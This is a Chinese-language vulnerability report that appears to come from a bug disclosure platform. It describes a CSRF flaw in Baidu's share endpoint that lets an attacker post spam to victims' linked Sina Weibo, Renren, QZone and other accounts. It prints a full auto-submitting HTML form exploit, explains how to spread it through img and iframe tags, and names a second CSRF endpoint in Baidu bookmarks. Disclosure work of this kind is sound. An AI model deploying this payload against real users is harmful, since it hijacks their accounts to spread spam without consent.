通过百度账号在绑定关联的其他社交网站上发微博或帖子(包括新浪微博,腾讯微博,人人网,QQ空间以及开心网).可利用此漏洞在多个社交网站上传播social spam. 这个CSRF比较有趣是因为他本身并不攻击存在缺陷的站点,而是隔山打牛,攻击那些信任存在缺陷站点的
详细说明:未做CSRF保护的post入口是http://s.share.baidu.com/mshare
构造如下代码:
<form name="form1" action="http://s.share.baidu.com/mshare" method="POST"> <input type="hidden" name="url" value="http://any.com"> <input type="hidden" name="uid" value="any number"> <input type="hidden" name="type" value="text"> <input type="hidden" name="site" value=""> <input type="hidden" name="title" value="any value"> <input type="hidden" name="sign" value="on"> <input type="hidden" name="desc" value=""> <input type="hidden" name="comment" value=""> <input type="hidden" name="searchPic" value="0"> <input type="hidden" name="relatedUid" value=""> <input type="hidden" name="turl" value=""> <input type="hidden" name="buttonType" value=""> <input type="hidden" name="apiType" value=""> <input type="hidden" name="l" value="any value"> <input type="hidden" name="linkid" value="any value"> <input type="hidden" name="sloc" value="any value"> <input type="hidden" name="token" value=""> <input type="hidden" name="content" value="CSRF Test"> <input type="hidden" name="pic" value=""> <input type="hidden" name="bindList" value=""> <input type="hidden" name="to" value="tsina,renren,qzone,tqq,kaixin001,"> </form> <script language="javascript"> document.form1.submit() </script>
写入某attack.html文件并存放在攻击者控制的机器上,然后通过<img> <iframe> 等标签散布出去。用户一旦点击,讲被动的在已经和百度关联的其他社交网站上发帖子。
漏洞证明:在百度账号与新浪微博关联的情况下做实验(关联其他如腾讯微博,人人网,QQ空间以及开心网类似,故不一一列举)
攻击前新浪微博:

攻击执行(真是攻击中不可见,这里为了说明方便):

攻击后新浪微博:

修复方案:
CSRF一般性防御。比较值得一提的是,我发现提交表单中有token一项,但是没有用。为什么?还在测试阶段???
CSRF一般性防御。比较值得一提的是,我发现提交表单中有token一项,但是没有用。为什么?还在测试阶段???
另外还有一处CSRF点,在百度收藏中。具体的post口在http://cang.baidu.com/do/cm 可以通过这个CSRF让百度用户收藏恶意站点。但是具体如何扩大攻击,没有具体想法,故不另开一个漏洞提交了。